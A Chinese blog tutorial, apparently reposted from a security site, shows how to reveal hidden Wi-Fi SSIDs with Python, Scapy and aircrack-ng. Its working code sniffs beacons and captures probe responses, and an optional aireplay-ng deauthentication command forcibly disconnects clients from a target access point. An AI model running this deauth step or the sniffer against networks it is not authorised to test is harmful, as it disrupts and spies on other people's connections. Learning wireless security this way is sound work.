一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

從WiFi萬能鑰匙導致密碼洩漏,到央視“315”晚會曝光無線的危險,(私信小編007自動獲取大量Python學習資源)到前幾天京東因無線密碼洩漏導致被內網漫遊,讓我們不得不開始關注無線安全。因為一旦無線被破解,以目前的無線架構的特點來說,基本上就等於進了家門,危險程度還是很高的。

關於無線內網的嗅探和劫持,大家可以關注我之前寫的兩篇文章:MITMf框架攻擊 中間人SSL證書劫持 ,MITMf近來更新的功能非常多,玩起來也很帶感,喜歡搞內網的朋友不妨多關注一下。

好了以上全是廢話,今天主要想跟大家聊聊如何找出隱藏無線SSID的。

0×00 說說已有的東西

如何找出隱藏無線熱點SSID不是一個新的話題,網上搜一下,這種教程也很多,不過大多數是需要藉助一些工具比如wireshark或者CommView等來進行抓包操作輔助完成,大體的方式和流程是像這樣:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

這樣:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

這樣:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

這樣:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

這樣就找到了我們的無線熱點了。不多做解釋,需要的同學請自行百度。

其實這樣的方式也沒有什麼不好的,因為我比較懶,所以有了這篇文章。

0×01 大體思路

思路是這樣的:

1、判斷周圍環境是否存在隱藏無線熱點
2、根據隱藏無線熱點特徵獲取無線熱點的BSSID
3、使用aireplay對目標熱點進行攻擊使客戶端下線重連
4、重連過程中抓取包請求同時進行包過濾獲取有用信息
5、得到隱藏熱點的SSID

0×02 測試環境

慣例說一下測試環境:

系統: Ubuntu14.04
Python版本:2.7.6
工具: aircrack套(主要使用airmon-ng和aireplay工具)

0×03 啟用監聽模式

首先我們需要把我們的網卡啟動到監聽模式。這裡就需要用到aircrack套件了。

使用以下命令開啟監聽模式:

sudo airmon-ng start wlan0

這裡因為我需要最終寫到python中,所以使用了os.popen()函數來執行這條命令。

貼上這部分python代碼:

#判斷是否開啟監聽模式
ifa = os.popen('ifconfig | grep mon0 | cut -d " " -f 1')
ifb = ifa.read()
if ifb != 'mon0\n':
print '正在開啟監聽模式……\n'
f = os.popen('airmon-ng start wlan0')
f.read()
f.close
if ifb == 'mon0\n':
pass
ifa.close()

0×04 發現隱藏無線熱點

FreeBuf小知識

介紹這部分之前,我們需要首先了解一些關於嗅探到的包的信息,以便於我們後文可以對包進行過濾操作:

wlan.fc.type == 0 管理幀(Management frames)
wlan.fc.type == 1 控制幀(Control frames)
wlan.fc.type == 2 數據幀(Data frames)
wlan.fc.type_subtype == 0 關聯請求(Association request)
wlan.fc.type_subtype == 1 關聯響應(Association response)
wlan.fc.type_subtype == 2 重連請求(Reassociation request)
wlan.fc.type_subtype == 3 重連響應(Reassociation response)
wlan.fc.type_subtype == 4 幀請求(Probe request)
wlan.fc.type_subtype == 5 幀響應(Probe response)
wlan.fc.type_subtype == 8 信標(Beacon)

/FreeBuf小知識

因為我們這裡主要是為了發現隱藏的無線熱點,而隱藏SSID只能在連接請求和連接響應中獲取,但是連接請求中可能會出現我們不想要的內容(比如手機記憶的但是非我們想要的SSID),所以這裡我們主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要獲取周圍設備所記憶的無線熱點名稱,則可以用subtype=4輔助發現,這裡我們不多做解釋。

接下來我將一步一步解釋我做這個時所遇到的問題。

首先,我們需要先發現周圍的無線熱點,發現無線的代碼如下:

def PacketHandler(pkt):
if pkt.haslayer(Dot11):
if pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in aps:
aps.append(pkt.addr2)
cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
if re.search('privacy', cap):
a = '加密狀態:Yes\t熱點BSSID為%s\tSSID為%s'%(pkt.addr2, pkt.info)
with open('test.txt', 'a+') as t:
t.write(a+'\n')
print a
else:
b = '加密狀態:No\t熱點BSSID為%s\tSSID為%s'%(pkt.addr2, pkt.info)
with open('test.txt', 'a+') as t:
t.write(b+'\n')
print b
sniff(iface = 'mon0', prn = PacketHandler)

執行之後的結果是這樣的

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

嗅探結果就是這樣的,可以看出周圍的無線環境比較複雜,小編能在如此複雜的網絡環境中保持一顆純真的童心,實屬不易。

細心的同學可能已經發現了,這裡的無線混入了一個奇怪的東西:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

沒錯,這個空空的SSID就是我建的隱藏無線熱點,到這裡就簡單啦,只要判斷SSID是否為空值就可以了,然後根據空值判斷出周圍存在隱藏無線,從而獲取到BSSID,好像很輕鬆嘛,可是事實真的如此嗎?

在我想要按照以上思路走的時候我才發現事實並非如此。用SSID為空的條件根本獲取不到任何東西,這就奇怪了,於是我將無線信息寫入到一個文本中,想看一下究竟發生了什麼,結果如下:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

終於恍然大悟,我解釋一下,看明白的直接略過這一步:

隱藏SSID的無線的SSID其實並非為空值,而是將所有的SSID字符以十六進制的0×00進行填充,因為我們的設備都無法正常顯示0×00這個值,所以看起來就像是空值。

知道了原因就好解決了,我使用了binascii庫進行了值的轉換,解決代碼如下:

if binascii.hexlify(pkt.info)[:2] == '00':#判斷名稱是否為空
print '發現隱藏無線熱點! BSSID是 %s\n' %pkt.addr2

因為我們無法確定目標熱點的SSID究竟使用了幾個字符,而一般的無線名稱是不會出現0×00這個值的,因此我切取了前兩個值進行判斷。

0×05 獲取BSSID並進行攻擊

獲取BSSID代碼如下:

if binascii.hexlify(pkt.info)[:2] == '00':
addr = pkt.addr2

好吧就是一個賦值操作(唉?誰扔的臭雞蛋?你出來!)

然後進行攻擊:

攻擊的過程實際就是向熱點發送deauth包,然後強制客戶端下線,這裡我們使用aireplay,命令如下:

aireplay-ng --deauth 0 -a addr mon0 --ignore-negative-one

執行結果是這樣的:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

攻擊一會兒我們的目的就達到了,然後手動停止攻擊,寫成python代碼如下:

os.system('aireplay-ng --deauth 0 -a '+addr+' mon0 --ignore-negative-one')

但是需要注意的是,在我實際測試的過程中,即便是不進行攻擊操作也是可以獲取到SSID的,所以如果不是長時間無法獲取SSID,一般我們不用這個。

0×06 抓取過濾

接下來就是抓包時間,同時對抓到的包進行過濾處理,主要代碼如下:

if pkt.haslayer(Dot11):
if pkt.addr2 == addr:
try:
#print pkt.info#該行為調試行
if binascii.hexlify(pkt.info)[:2] != '00':
if pkt.addr2 not in aps2:
aps2.append(pkt.addr2)
cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}")
print '隱藏無線熱點名稱是:'+pkt.info+'\n'
if re.search("privacy", cap):
print pkt.info+'已加密'
else:
print pkt.info+'未加密'
print '正在關閉監聽模式……\n'
time.sleep(1)
t = os.popen('airmon-ng stop mon0')
t.read()
t.close
except:
pass

這裡對代碼進行簡單的操作說明:

1、這裡我做了容錯處理,因為在實際使用過程中會出現稍長時間的sniff會直接報錯退出,原因大概是部分包並不存在pkt.info屬性導致 

2、這裡使用aps2[]數組進行了簡單的輸出限制,防止同一個BSSID多次重複被記錄
3、cap參數格式化存儲了無線的加密部分的信息,以便於下文的加密判斷
4、完成任務後自動關閉監聽模式。這裡沒有進行枚舉,如果你自行開啟監聽模式,端口為mon1,2,3……將無法關閉,注意一下

0×07 運行結果

工具介紹完了,然後我們運行一下,結果如下:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

再附上一張使用了aireplay攻擊後的圖片:

一鍵獲取隱藏Wi-Fi SSID:利用Python和Scapy發現隱藏無線熱點!

0×08 寫在最後

慣例總結一下,工具沒什麼難度,而且也不甚完善,如果有小夥伴有更好的解決方案歡迎在下面吐槽交流,歡迎各種不涉及人身攻擊的各種噴


分享到:


相關文章: